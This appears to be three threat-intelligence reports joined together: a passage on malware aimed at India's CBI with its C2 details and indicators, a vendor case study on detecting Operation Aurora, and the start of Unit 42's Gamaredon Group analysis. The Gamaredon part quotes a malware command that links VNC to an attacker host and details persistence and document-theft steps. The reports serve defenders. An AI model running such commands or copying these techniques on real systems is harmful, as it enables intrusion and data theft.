Below screen shot shows the response given to the malware when it makes a request to updateproductdownload.php 22/33 https://cysinfo.com/wp-content/uploads/2017/05/42a.png https://cysinfo.com/wp-content/uploads/2017/05/42b.png https://cysinfo.com/wp-content/uploads/2017/05/43.png Malware then reads the c2 response and from the C2 response it extracts two things a) URL to download the updated executable and b) the command string that will trigger the update functionality From the C2 response the URL is extracted by finding the start offset of the string updatetpermission once it finds it, its offset value is subtracted with 17 to get the URL from where the updated executable will be downloaded.
To get the command string  malware extracts the string starting from the offset of the string updatetpermission  19 and extracts a 7 character length string which it uses as the command string.
Below screen shot shows the logic used to extract the URL and the command string, in the below screen shot the extracted command string is stored in the variable ServerUpdatePermissionInstruction.
Once the URL and command string is extracted, the malware compares the command string with the string Pending, only if the command string matches with string Pending then the malware downloads the updated executable from the extracted URL.
Below screen shot shows the code which performs the check and and extracted URL Note: In the below screen shot the URL (hxxp://c2xyup.com/update.exe) is not the actual URL used by the malware for updating, this is a test URL used to determine the functionality, so this URL should not used as an indicator.
23/33 https://cysinfo.com/wp-content/uploads/2017/05/44.png https://cysinfo.com/wp-content/uploads/2017/05/45.png The malware then downloads the updated executable and drops it in the Appdata\SQLite directory as shown in the below screen shots.
Once it downloads the updated executable then the malware creates a value in the Run registry key for persistence, before that it deletes the old entry and adds the new entry so that next time when the system starts the updated executable will run.
Below screen shots show the registry entry added by the malware.
24/33 https://cysinfo.com/wp-content/uploads/2017/05/46.png https://cysinfo.com/wp-content/uploads/2017/05/47a.png https://cysinfo.com/wp-content/uploads/2017/05/47b.png The functionality allows the attacker to update their malware components.
d) Delete/Uninstall Functionality Malware also has the capability to delete itself this is done by making a request to Uninstaller.php.
Below screen shot shows the code that makes this request.
25/33 https://cysinfo.com/wp-content/uploads/2017/05/48a.png https://cysinfo.com/wp-content/uploads/2017/05/48b.png The environment was configured to give a proper response to trigger the uninstall/delete functionality.
Below screen shot shows the network traffic making the POST request to Uninstaller.php and the returned response.
Malware then checks if the C2 response contains the string delete.
Below screen shots show the code that reads the C2 response and the code that performs the check.
26/33 https://cysinfo.com/wp-content/uploads/2017/05/49.png https://cysinfo.com/wp-content/uploads/2017/05/50.png If the C2 response contains the string delete, then the malware first deletes the entry from the Run registry that the malware uses for persistence as shown below.
After deleting the registry entry, malware deletes all the files from the Appdata\SQLite directory by creating a batch script.
The batch script pings a hard coded IP address 180[.]92[.]154[.
]176 10 times (this is a technique used to sleep for 10 seconds) before deleting all the files.
27/33 https://cysinfo.com/wp-content/uploads/2017/05/51a.png https://cysinfo.com/wp-content/uploads/2017/05/51b.png https://cysinfo.com/wp-content/uploads/2017/05/52.png Once the all the files are deleted the malware kills its own process as shown in the below screen shot.
This functionality allows the attackers to delete their footprints on the system.
C2 Information This section contains the details of the C2 domain qhavcloud[.
]com.
This C2 domain was associated with two IP addresses.
Both of these IP addresses is associated with hosting provider in Germany as shown in the screen shots below.
28/33 https://cysinfo.com/wp-content/uploads/2017/05/53.png https://cysinfo.com/wp-content/uploads/2017/05/53a.png The hard coded IP address 91[.]205[.]173[.
]3 in the binary from where the malware downloads additional components is also associated with the same hosting provider in Germany as shown below.
The C2 domain qhavcloud[.
]com was also found to be associated with multiple malware samples in the past.
Below screen shot shows the md5 hashes of the samples that is associated with the C2 domain.
29/33 https://cysinfo.com/wp-content/uploads/2017/05/54a.png https://cysinfo.com/wp-content/uploads/2017/05/54b.png https://cysinfo.com/wp-content/uploads/2017/05/55.png The C2 domain qhavcloud[.
]com and the hard coded IP address 91[.]205[.]173[.
]3 were also found to be associated with another attack campaign which targeted the senior army officers.
This suggests that the same espionage group involved in this attack also targeted the senior army officers using a different email theme.
Threat Intelligence Investigating the domain idsadesk[.
]in (which was used to send the email by impersonating the identity of IDSA) shows that it was created on 20th Feb 2017 (which is the day before the spear-phishing email was sent to the victims).
Most of the registrant information seems to be fake and another notable detail that is of interest is the registrant country and country code (92) of registrant phone number is associated with Pakistan.
30/33 https://cysinfo.com/wp-content/uploads/2017/05/56.png https://ciso.economictimes.indiatimes.com/news/cyber-security-team-discover-coordinated-attempt-of-hackers-targeting-senior-army-officers/58007868 https://cysinfo.com/wp-content/uploads/2017/05/57.png Further investigation shows that the same registrant email id was also used to register another similar domain (idsagroup[.
]in) which also impersonates the identity of IDSA.
This impersonating domain was also registered on the same day 20th February 2017 and this domain could also be used by the attackers to send out spear-phishing emails to different targets.
While investigating the malwares uninstall/delete functionality it was determined that malware creates a batch script to delete all its files but before deleting all the files it pings 10 times to an hard coded IP address 180[.]92[.]154[.
]176 as shown below.
31/33 https://cysinfo.com/wp-content/uploads/2017/05/58a.png https://cysinfo.com/wp-content/uploads/2017/05/58b.png Investigating this hard coded IP address shows that it is located in Pakistan.
The Pakistan connection in the whois information and the hard coded IP address is interesting because the previous two attacks against Indian Ministry of External Affairs and Indian Navys submarine manufacturer also had a Pakistan connection.
Based on just the whois information (which can be faked) and the location of the IP address it is hard to say if the Pakistan espionage group is involved in this attack, but based on the email theme, tactics used to impersonate Indian think tank (IDSA) and the targets chosen that possibility is highly likely.
Below screen shot shows the location of the hard coded IP address.
Indicators Of Compromise (IOC) In this campaign the cyber espionage group targeted Central Bureau of Investigation (CBI) but it is possible that other government entities could also be targeted as part of this attack campaign.
The indicators associated with this attack are provided so that the organizations (Government, Public, Private organizations and Defense sectors) can use these indicators to detect, remediate and investigate this attack campaign.
Below are the indicators Dropped Malware Sample: f8daa49c489f606c87d39a88ab76a1ba Related Malware Samples: 15588a9ba1c0abefd38ac2594ee5be53 04b4b036a48dc2d2022cc7704f85a560 becc8e77ef003a4c88f7e6348ffd3609 ceeeacbaf38792bcf06022e2b4874782 515dce0ede42052ff3ef664db9873cea 50c1d394bfa187ffd6251df6dd14e939 3bd16cc1d1fea7190c36b3bd10c6810d b6c861556412a15b7979459176b7d82f Network Indicators Associated with C2: qhavcloud[.
]com 173[.]212[.]194[.
]214 173[.]212[.]193[.
]53 91[.]205[.]173[.
]3 180[.]92[.]154[.
]176 Domains Impersonating the Identity of Indian Think Tank (IDSA): 32/33 https://cysinfo.com/wp-content/uploads/2017/05/53.png https://cysinfo.com/uri-terror-attack-spear-phishing-emails-targeting-indian-embassies-and-indian-mea/ https://cysinfo.com/cyber-attack-targeting-indian-navys-submarine-warship-manufacturer/ https://cysinfo.com/wp-content/uploads/2017/05/59.png idsadesk[.
]in idsagroup[.
]in Email Indicator: iasia69z7az14m[.
]com C2 Communication Patterns: hxxp://qhavcloud[.
]com//northernlights//PingPong.php hxxp://qhavcloud[.
]com//northernlights//postdata.php hxxp://qhavcloud[.
]com//northernlights//JobProcesses.php hxxp://qhavcloud[.
]com//northernlights//JobWork1.php hxxp://qhavcloud[.
]com//northernlights//JobWork2.php hxxp://qhavcloud[.
]com//northernlights//JobTCP1.php hxxp://qhavcloud[.
]com//northernlights//JobTCP2.php hxxp://qhavcloud[.
]com//northernlights//updateproductdownload.php hxxp://qhavcloud[.
]com//northernlights//Uninstaller.php Conclusion Attackers in this case made every attempt to launch a clever attack campaign by impersonating the identity of highly influential Indian Think tank to target Indian investigative agency and the officials of the Indian army by using an email theme relevant to the targets.
The following factors in this cyber attack suggests the possible involvement of Pakistan state sponsored cyber espionage group to spy or to take control of the systems of the officials of Central Bureau of Investigation (CBI) and officials of the Indian Army.
Use of domain impersonating the identity of highly influential Indian think tank Victims/targets chosen (CBI and Army officials) Use of Email theme that is of interest to the targets Location of one of the hard coded IP address in the binary Use of TTPs (tactics, techniques  procedures) similar to the previous campaigns targeting Indian Ministry of External Affairs and Indian Navys Warship Manufacturer.
Use of the same C2 infrastructure that was used to target senior army officers The attackers in this case used multiple techniques to avoid detection and to frustrate analysts.
The following factors reveal the attackers intention to remain stealthy and to gain long-term access by evading analysis and security monitoring at both the desktop and network levels.
Use of password protected macro to prevent viewing the code and to make manual analysis harder Use of TextBox within the UserForm to store malicious content to bypass analysis tools Use of legitimate service like Google drive to store the list of back up C2 servers to bypass security monitoring and reputation based devices.
Use of malware that performs various checks before performing any malicious activity Use of backup C2 servers and hosting sites to keep the operation up and running Use of hosting provider to host C2 infrastructure 33/33 https://cysinfo.com/uri-terror-attack-spear-phishing-emails-targeting-indian-embassies-and-indian-mea/ https://cysinfo.com/cyber-attack-targeting-indian-navys-submarine-warship-manufacturer/ https://ciso.economictimes.indiatimes.com/news/cyber-security-team-discover-coordinated-attempt-of-hackers-targeting-senior-army-officers/58007868 Cyber Attack Impersonating Identity of Indian Think Tank to Target Central Bureau of Investigation (CBI) and Possibly Indian Army Officials
CASE STUDY: OPERATION AURORA 2010  Triumfant, Incorporated Triumfant has performed extensive research into the behaviors of the recent attack directed at Google called Operation Aurora.
This case study provides a detailed description of how Triumfant would detect, analyze and remediate the attack on an endpoint machine running the Triumfant agent.
In the interest of full disclosure, Triumfant had no direct interaction with the attack either directly on Triumfants own endpoints or indirectly through a Triumfant customer.
The analysis is based on detailed information collected through a variety of publically available research performed by reliable sources that performed hands-on analysis of the attack.
Based on this research, Triumfant is fully confident that our software would have detected the attack and built a remediation that would have restored the machine to its pre-attack condition.
The Operation Aurora attack falls squarely into one of the classes of attacks that Triumfant excels at detecting: targeted attacks engineered to evade traditional network and endpoint protections.
While the actual attack vector used was not exceptionally sophisticated, the attack was created to have a digital signature that would not be detected by antivirus tools.
The attack also took steps to protect and obscure itself from detection once it infected a machine.
The case study steps through the process in four parts: initial detection, diagnosis, the assimilation of data about the attack into the Triumfant knowledge base, and remediation of the affected machine.
Detection The malicious code used by Operation Aurora created several service keys during three specific steps: execution of the dropper, the first stage of installation, and the second stage of installation.
Some of these keys are subsequently deleted but at least one was persistent.
The appearance of one or more of these keys would be interpreted as a marker of potential malicious activity by the Triumfant real-time malware scan and would therefore trigger the detection process.i The first step in the detection process would be a request by the agent to the server requesting permission for the agent to execute a full scan of the machine.
The purpose of this scan is to capture all of the changes to that machine since the previous scan results were processed as part of the normal agent/server interaction that occurs every 24 hours.
The Triumfant server would respond within seconds, authorizing the scan and throttling up the agent to complete the scan as rapidly as possible, collecting all 200,000 plus attributes in under a minute.
The resulting scan would captures the state of the machine immediately after infection, providing the raw material for diagnosis so the analytics could verify the machine is under attack and identify all of the primary and secondary artifacts of the attack.
Diagnosis The Triumfant server would receive the full scan, recognize that it was executed as a result of suspicious behavior, and immediately compare it to the adaptive reference model (the unique context built by our patented analytics).
The result of this comparison would be a set of anomalous files and registry keys.
The fact that the files and keys associated with Operation Aurora have random names would guarantee that they would be perceived as anomalous despite the fact that humans might tend to confuse them with legitimate Windows services.
Further analysis would then be applied to the anomaly set to identify important characteristics and functional impacts.
In this case the salient characteristics are an anomalous service and a number of anomalous system32 files.
The discovery of an anomalous service would cause the Triumfant server to build a probe to be sent to the agent for execution to gather more data to complete the analysis.
In this case, the probe would contain a list of all of the anomalous attributes found by the server during its analysis.
Such probes leverage a series of correlation functions designed to partition the anomalous attributes associated with an attack into related groups.
For Operation Aurora these correlation functions would group all of the anomalous attributes and then perform a risk assessment on this group.
In this specific case, this analysis would find that the malicious attack is communicating over the internet.
The cumulative results of the correlation and risk assessment would then be sent back to the Triumfant server.
This new information is then processed and classified as an Anomalous Application with a complete analysis of the changes that composed the attack.
This data would show the full set of changes associated with the attack such as files, registry keys, CASE STUDY: OPERATION AURORA 2010  Triumfant, Incorporated processes, ports, services, and event logs that were added, changed, or deleted as part of the attack.
The data about the attacks would be posted at the console and the Triumfant server would alert the appropriate personnel based on the established reporting and alert protocols.
Personnel could then access the correlated attack information and the corresponding risk assessment who could then take appropriate actions including the ability to save the analysis to readily share the data with CIRT and forensics teams.
Knowledge Base Triumfant has the ability to save the analysis from any anomalous activity and leverage that data to create what Triumfant calls a Recognition Filter that becomes a permanent part of the knowledge base contained in the adaptive reference model.
These Recognition Filters have a number of benefits.
First, they provide a very precise mechanism for storing and sharing knowledge about an incident.
Second, they allow the system to search for any other instances of that particular condition on other machines.
Third, they enable the operator to pre-authorize automatic responses - such as automatic remediation - should that incident be detected in the future.
In the case of Operation Aurora, an analyst could save the analysis and build a filter specifically about this attack.
Once built, the filter could be used to check other endpoint machines (the entire population or specified groups) for infection.
This mechanism uses acquired knowledge to address broad attacks before they have the chance to spread beyond their initial penetration.
These filters are also more resilient than digital signatures because they use wildcarding to continue to detect the attack even as it morphs its basic signature over time to avoid traditional signature based tools.
Remediation The ability to identify and correlate all of the changes associated with any attack provides a depth of information that enables Triumfant to build a contextual and situational remediation that surgically and reliably removes the components of that attack without reimaging the machine.
This remediation is built to exactly match the attributes of the anomalous application, in this case Operation Aurora, on an attribute by attribute basis.
For Operation Aurora, Triumfant would construct a remediation to address all of the changes associated with the attack, restoring the altered attributes to their pre-attack condition.
This includes the changes Aurora makes to affected machines configuration settings to either execute or hide itself.
The files added to the machine would be deleted, and any files deleted or corrupted would be remediated using Triumfants patent pending donor technology.ii Summary Operation Aurora is illustrative of the targeted and well engineered attacks that characterize the evolving threats businesses and government agencies face daily.
Based on the available data regarding Operation Aurora, Triumfant can say with confidence that Resolution Manager would have detected the attack, identified changes associated with the primary and collateral damage done to the affected machines, and used that data to build a remediation to address the specific elements of the attack.
Within five minutes of the infection Triumfant would have analyzed the attack and created a remediation to return the machine to its pre-attack condition pending confirmation by the administrator.
This ability to detect and remediate the attacks that evade traditional endpoint protections demonstrates the unique capabilities of Triumfants technology.
i Triumfant uses two continuous scan cycles.
One is a scan for markers of malicious activity that runs approximately every thirty seconds.
The second is a continuous scan of every attribute on the machine that identifies and collects changes to those attributes and communicates them to the server on a 24 hour reporting cycle.
ii Triumfant leverages the knowledge contained in the adaptive reference model to find another machine that has the proper version of corrupted or missing files  validated to the specific release number and MD5 hash - and uses that machine as a donor to repair the affected machine.
This technology is patent pending.
By Anthony Kasza and Dominik Reichel 2/27/2017 The Gamaredon Group Toolset Evolution researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/ Unit 42 threat researchers have recently observed a threat group distributing new, custom developed malware.
We have labelled this threat group the Gamaredon Group and our research shows that the Gamaredon Group has been active since at least 2013.
In the past, the Gamaredon Group has relied heavily on off-the-shelf tools.
Our new research shows the Gamaredon Group have made a shift to custom-developed malware.
We believe this shift indicates the Gamaredon Group have improved their technical capabilities.
The custom-developed malware is fully featured an includes these capabilities: A mechanism for downloading and executing additional payloads of their choice The ability to scan system drives for specific file types The ability to capture screenshots The ability to remotely execute commands on the system in the users security context The Gamaredon Group primarily makes use of compromised domains, dynamic DNS providers, Russian and Ukrainian country code top-level domains (ccTLDs), and Russian hosting providers to distribute their custom-built malware.
Antimalware technologies have a poor record of detecting the malware this group has developed.
We believe this is likely due to the modular nature of the malware, the malwares heavy use of batch scripts, and the abuse of legitimate applications and tools (such as wget) for malicious purposes.
Previously, LookingGlass reported on a campaign they named Operation Armageddon, targeting individuals involved in the Ukrainian military and national security establishment.
Because we believe this group is behind that campaign, weve named them the Gamaredon Group, an anagram of Armageddon.
At this time, it is unknown if the new payloads this group is distributing is a continuation of Operation Armageddon or a new campaign.
Gamaredon: Historical Tool Analysis The earliest discovered sample (based on compile times and sandbox submission times) distributed by this threat group resembles the descriptions of Gamaredon provided by Symantec and Trend Micro.
Unfortunately, this identification is rather tenuous, as it seems to only identify the first variant of payloads used by our threat actors.
Some samples of later payload variants also have been given the generic and brittle names of TROJ_RESETTER.BB and TROJ_FRAUDROP.EX.
Originally, the payloads delivered to targets by this threat group consisted of a password protected Self-extracting Zip-archive (.SFX) file which, when extracted, wrote a batch script to disk and installed a legitimate remote administration tool called tool Remote Manipulator System (Figure 1) which they would abuse for malicious purposes.
Figure 1 Remote Manipulator System Interface One such self-extracting archive (ca87eb1a21c6d4ffd782b225b178ba65463f73de6f4c736eb135be5864f556dc) was first observed around April of 2014.
The password (reused by many of the password protected SFX payloads) it used to extract itself is 1234567890__.
The files included in this SFX file we observed include a batch file named 123.cmd and another SFX named setting.exe.
This second SFX contains a .MSI installer package which installs Remote Manipulator System and a batch script which handles the installation.
Later payloads would write batch scripts to disk as well as wget binaries.
The batch scripts would use the wget binaries to download and execute additional executables.
The scripts would also use wget to send POST requests to command and control (C2) servers that would contain information about the compromised system.
Some of these payloads included decoy documents that would open when the malware is executed.
Three examples of this type of payload include: 1/13 http://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/ https://www.lookingglasscyber.com/operation-armageddon-registration/ https://www.symantec.com/security_response/writeup.jsp?docid2015-042917-4812-99tabid2 https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_gamaredon.a https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_resetter.bb https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fraudrop.ex https://rmansys.ru/remote-access/ http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_1.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_2.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_3.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_4.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_6.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_7.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_8.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_9.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_10.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_11.png a6a44ee854c846f31d15b0ca2d6001fb0bdddc85f17e2e56abb2fa9373e8cfe7 b5199a302f053e5e9cb7e82cc1e502b5edbf04699c2839acb514592f2eeabb13 3ef3a06605b462ea31b821eb76b1ea0fdf664e17d010c1d5e57284632f339d4b We first observed these samples using wget in 2014.
The filenames and decoy documents these samples used attempt to lure individuals by using the presidential administration of Ukraine, Ukrainian national security and defense, the Anti-Terrorist Operation Zone in the Ukraine, and Ukrainian patriotism as subjects.
The text of one such decoy document is pictured below.
Figure 2 Ukrainian Decoy Document used by Gamaredon Group Other observed payloads would, again, use SFX files to deliver a batch script and an executable that allowed remote access through the VNC protocol.
These VNC exectuables would either be included in the SFX file or downloaded by the batch script.
We found one URL (now taken down) that hosted a VNC executable that the malware would attempt to download and install at hxxp://prestigeclub.frantov.com[.
]ua/press-center/press/chrome-xvnc-v5517.exe.
The batch script would then attempt to have the VNC program connect to a command and control (C2) server to enable the server to control the compromised system.
All VNC installations on compromised systems that we observed have used the same configuration file, RC4 key file, and passwords.
One such sample, cfb8216be1a50aa3d425072942ff70f92102d4f4b155ab2cf1e7059244b99d31 first appeared around January of 2015.
The batch script utilized in this sample ensures a VNC connection is available: 1 start winlogons -autoreconnect -id:sP -connect grom56.ddns.net:5500 The path configured in the VNC configuration file across all implants employing VNC (UltraVNC.ini) is Y:\\ \ RMS\vnc.
This isnt the only place hardcoded Cyrillic file paths are used by implants.
Many of the batch scripts also use hardcoded paths such as  \\.
Many payloads also include a VBS script which raises a dialog box to the users asking them to run the malware again.
It reads,     (0xc0000005). ?
(
English Translation from Russian: Application failed to initialize (0xc0000005).
Try to open the file again?
).
Some of the SFX files also include another legitimate application called ChkFlsh.exe (8c9d690e765c7656152ad980edd2200b81d2afceef882ed81287fe212249f845).
This application was written by a Ukrainian programmer and is used to check performance of USB flash drives.
Its value to the attackers to the attackers isnt clear but one possibility is that it is somehow used to steal or monitor files on USB devices.
In our research, we found this application present in some SFX files along with VNC programs and in some SFX files that didnt have VNC programs included.
Custom Implants While the most recent samples observed still use batch scripts and SFX files, the Gamaredon Group has moved away from applications like wget, Remote Manipulator Tool, VNC and ChkFlsh.exe.
Instead of using wget the attackers are distributing custom developed downloaders, and instead of Remote Manipulator or VNC the malware is using a custom developed remote access implant.
In June of 2015 a custom downloader used by many newer samples was first seen in the wild and is often included in SFX implants with the name LocalSMS.dll.
This downloader makes requests to adobe.update-service[.
]net (hardcoded in the sample) and is further discussed in Appendix A.
2/13 http://mikelab.kiev.ua/index.php?pagePROGRAMS/chkflsh In February 2016, another custom tool now often included in SFX implants was seen in the wild.
This SFX file (3773ddd462b01f9272656f3150f2c3de19e77199cf5fac1f44287d11593614f9) contains a new Trojan (598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824) we refer to as Pteranodon.
Pteranodon is a custom backdoor which is capable of the following tasks: Capturing screenshots at a configurable interval and uploading them to the attacker Downloading and executing additional files Executing arbitrary commands on the system The earliest version of Pteranodon uses a hardcoded URL for command and control.
It sends POST requests to msrestore[.
]ru/post.php using a static multipart boundary: 870978B0uNd4Ry_ Newer versions of the tool also use hardcoded domains and multipart boundaries.
They also share similar pdb strings.
Other Pteranodon samples can be found in AutoFocus using the Pteranodon tag.
The most recent variant of Pteranodon is analyzed in Appendix A.
We have only identified one delivery vector for the new implants thus far.
A Javascript file (f2355a66af99db5f856ebfcfeb2b9e67e5e83fff9b04cdc09ac0fabb4af556bd) first seen in December of 2016 downloads a resource from http://samotsvety.com[.
]ua/files/index.pht (likely a compromised site used for staging payloads) which previously an SFX file (b2fb7d2977f42698ea92d1576fdd4da7ad7bb34f52a63e4066f158a4b1ffb875) containing two of the Gamaredon custom tools.
A related sample (e24715900aa5c9de807b0c8f6ba8015683af26c42c66f94bee38e50a34e034c4) used the same distinct Mutex and contains a larger set of tools for analysis.
The original name of the file is AdapterTroubleshooter.exe and the file uses icons which resemble those used by OpenVPN, as seen below.
Upon examining the samples file activity within AutoFocus it is clear the sample is a self-extracting executable.
Figure 3 Self Extracting executable behavior shown in AutoFocus Opening the sample with 7zip inside of a virtual machine, all the files contents can be examined.
Below is a table providing the SHA256 values, the filenames, the compile timestamps and the pdb paths of the contents of the SFX file.
SHA256 Filename Compile Time PDB Path 400f53a89d08d47f608e1288d9873bf8d421fc7cd642c5e821674f38e07a1501 LocalSMS.dll Wed Apr 29 08:10:30 2015 c:\users\viber\documents\visual studio 2013\projects\contextmenu\release\contextmenu.pdb d01df47b6187631c9a93bdad1298439ab1a1c5529b3319f3614b6ec2455e5726 MpClients.dll Thu Sep 08 05:01:00 2016 c:\users\user\documents\visual studio 2015\projects\updaterv1\release\updaterv1.pdb f2296bcb6be68dfb330baec2091fb11a42a51928ba057164213580e6ff0e1126 OfficeUpdate.dll Wed Dec 07 09:25:57 2016  2ded2f3b5b5b6155ce818893c67887cbfa8b539be6c983e314ccf2177552da20 SmartArtGraphicsLog.lnk 46a39da996b01e26ddd71d51c9704de2aa641cd3443f6fe0e5c485f1cd9fa65d UsrClass.lnk a972ad0ddc00d5c04d9fe26f1748e12008efdd6524c9d2ea4e6c2d3e42d82b7b condirs.cmd 37c78ee7826d63bb9219de594ed6693f18da5db60e3cbc86795bd10b296f12ac winrestore.dll Mon Jan 09 03:12:39 2017 c:\develop\ready\winrestore proxy\release\winrestore.pdb 90ba0f95896736b799f8651ef0600d4fa85c6c3e056e54eab5bb216327912edd wmphost.exe Thu Dec 01 08:23:32 2016 c:\develop\ready\mouse-move\mouse- move\release\mouse-move.pdb 3/13 https://autofocus.paloaltonetworks.com//tag/Unit42.Pteranodon The bootstrapping logic for the sample relies on the contents of condirs.cmd.
Briefly, the logic within condirs.cmd follows: 1.
Ensure LOCALAPPDATA\Microsoft\Windows\ exists 2.
Kill and delete processes, files, and scheduled tasks which may interfere with the sample executing 3.
Copy winrestore.dll to LOCALAPPDATA\Microsoft\Windows\UsrClass.dat4f6fe187-7034-11de-b675-001d09fa5win.dll 4.
Copy OfficeUpdate.dll to LOCALAPPDATA\Microsoft\Windows\UsrClass.dat4f6fe187-7034-11de-b675-001d09fa5off.dll 5.
Determine if the operating system is Windows XP or Windows 7 6.
If the system is running Windows XP a.
Set the directory to copy files into as WINDIR\Setup\State\Office b.
Copy UsrClass.lnk to USERPROFILE\ \\\ c. Copy SmartArtGraphicsLog.lnk to USERPROFILE\ \\\ 7.
If the system is running Windows 7 a.
Set the directory to copy files into as APPDATA\Microsoft\Office b.
Copy UsrClass.lnk to APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\ c. Copy SmartArtGraphicsLog.lnk to APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\ Figure 4 Windows XP and Windows 7 logic within condirs.cmd 8.
Copy winrestore.dll to the directory set in step 6 or 7a with the filename MSO1234.win 9.
copy LocalSMS.dll to the directory set in step 6 or 7a with the filename MSO1567.dls 10.
copy OfficeUpdate.dll to the directory set in step 6 or 7a with the filename MSO5678.usb 11.
copy MpClients.dll to the directory set in step 6 or 7a with the filename MSO8734.obn 12.
Execute the exported function updater within MSO1234.win using rundll32.exe 13.
Execute the exported function EntryPoint within MSO1567.dls using rundll32.exe It should be noted that UsrClass.lnk links to WINDIR\system32\rundll32.exe UsrClass.dat4f6fe187-7034-11de-b675-001d09fa5win.dll,updater and SmartArtGraphicsLog.lnk links to C:\WINDOWS\system32\rundll32.exe UsrClass.dat4f6fe187-7034-11de-b675-001d09fa5off.dll,StartBackup.
These are the locations winrestore.dll and OfficeUpdate.dll were copied to in steps 3 and 4, respectively.
The condirs.cmd script then continues to: 1.
Schedule the following tasks: a.
Task name UpdatesWinRes, invoke MSO1234.win,updater b.
Task name UpdatesWinDLL, invoke MSO1567.dls,EntryPoint c. Task name UpdatesWinUSBOOK, invoke MSO5678.usb,StartBackup d. Task name UpdatesWinOBN, invoke MSO8734.obn,bitDefender 2.
Ensure the directory Temp\reports\ProfileSkype\ exists 3.
Kill processes named skype.exe 4.
Copy the contents of AppData\Skype to Temp\reports\ProfileSkype\ 5.
Create subdirectories under Temp\reports\COMPUTERNAME\ with names: Z W P S V Q N M L K I J F H E G and D. These are drive letters.
6.
Copy all files from all above drive letters with extensions doc, docx,  xls,  xlsx, rtf odt and txt into TEMP\reports\COMPUTERNAME\d\ where d is the drive letter 7.
Copy all files with the above extensions from all users Desktop, Documents, and Downloads folders to TEMP\reports\COMPUTERNAME\Desktop\, 4/13 TEMP\reports\COMPUTERNAME\Documents\ and TEMP\reports\COMPUTERNAME\Downloads\ respectively Figure 5 The document stealing logic inside condirs.cmd 8.
Execute the exported function StartBackup within MSO5678.usb using rundll32.exe 9.
Execute the exported function bitDefender within MSO8734.obn using rundll32.exe 10.
Clean up temporary files, sleep, and delete itself When this script has completed, a series of implants giving the attacker the ability to steal files, capture screenshots and evade detection are deployed on the system.
These individual implants are analyzed in detail in Appendix A.
Trends Across Implants While the payloads used to control compromised systems have evolved over time, many commonalities appear across the samples.
While not every sample distributed by this group is described in this blog, hashes of the known samples are included in the Indicators of Compromise section.
Some interesting behaviors from a few of the related samples include: Many of the batch scripts include misspellings of common English words.
One such example is the filename cmd.
While another example, domen, is used as a variable name in a batch script which is likely meant to be domain Almost all batch scripts in all samples ping localhost as a means of sleeping Many of the batch scripts are named cmd and some include the string Trons_ups and Treams Many of the batch scripts use the same commands for determining operating system version.
Many of the early samples used applications such as wget, UltraVNC, and ChkFlash.
These utilities have been replaced with custom tools in the latest sample Samples employing VNC used the same configuration and passwords Additionally, the infrastructure used by this group has not changed much in the past three years.
Many of the samples reused the same domains for implant communication.
Also, many of the custom developed tools use hardcoded network locations.
Monikers used for filenames, exported DLL functions, domains, and variable names in scripts seem to be themed and consistent.
By pivoting on indicators from one of the SFX implants within AutoFocus additional samples are easily identified by overlaps in these consistencies.
Most samples were delivered in a similar fashion: an SFX dropping resources which are staged and loaded with a batch and/or VBS script.
The reuse of SSL certificates between IPv4 addresses as well as the reuse of IPv4 addresses between domains names is apparent when viewing a large collection of entities involved in this campaign, as shown below.
5/13 Focusing in on one of the newest samples (analyzed in Appendix A), the reuse of file names as well as SFX content files becomes apparent.
Figure 6 Overview of the relationships between Samples and Network Infrastructure used by the Gamaredon Group Final Word The implants identified have limited, generic, and often conflicting detections on VirusTotal.
The threat group using these implants has been active since at least 2014 and has been seen targeting individuals likely involved in the Ukrainian government.
Some of the samples share delivery mechanisms and infrastructure with samples which are detected by a few antivirus vendors as Gamaredon.
However, newer variants deliver more advanced malware which goes unnamed.
Periodically, researchers at Palo Alto Networks hunt through WildFire execution reports, using AutoFocus, to identify untagged samples artifacts in the hopes of identifying previously undiscovered malware families, behaviors, and campaigns.
This blog presents a threat group identified by the above process using AutoFocus.
By actively hunting for malicious activity and files instead of waiting for alerts to triage, defenders can identify and building protections for new trends before they arrive on their corporate networks and endpoints.
More details about this threat group can be found in the AutoFocus tag GamaredonGroup.
Palo Alto Networks customers are protected from this threat in the following ways: WildFire identifies the malware described in this report as malicious.
Traps prevents execution of the malware described in this report.
6/13 https://autofocus.paloaltonetworks.com//tag/Unit42.GamaredonGroup The C2 domains used by this group are blocked through Threat Prevention.
Special thanks go out to Tom Lancaster for both his assistance in this investigation and for his charming good looks.
Appendix A: Custom Implant Analyses USBStealer: MSO5678.usb / OfficeUpdate.dll This file is a USB file stealer which can be also guessed by its internal name USBgrabber.dll.
However, the implementation is sloppy which makes it a file stealer for any newly connected logical volume on a system.
This is because the malware monitors the computer for messages WM_COMMAND and WM_DEVICECHANGE, but not verifying if a USB drive was connected.
The malware creates two mutexes __Wsnusb73__ and __Wsnusbtt73__.
Then, it creates the following folder in the temp path of the local user: C:\Users\Username\AppData\Local\Temp\reports This folder is used as a temporary location to copy all files from a newly connected logical drive to and upload them to the C2 server.
The files are transferred to the hardcoded C2 server 195.62.52.93 one by one via HTTP POST method.
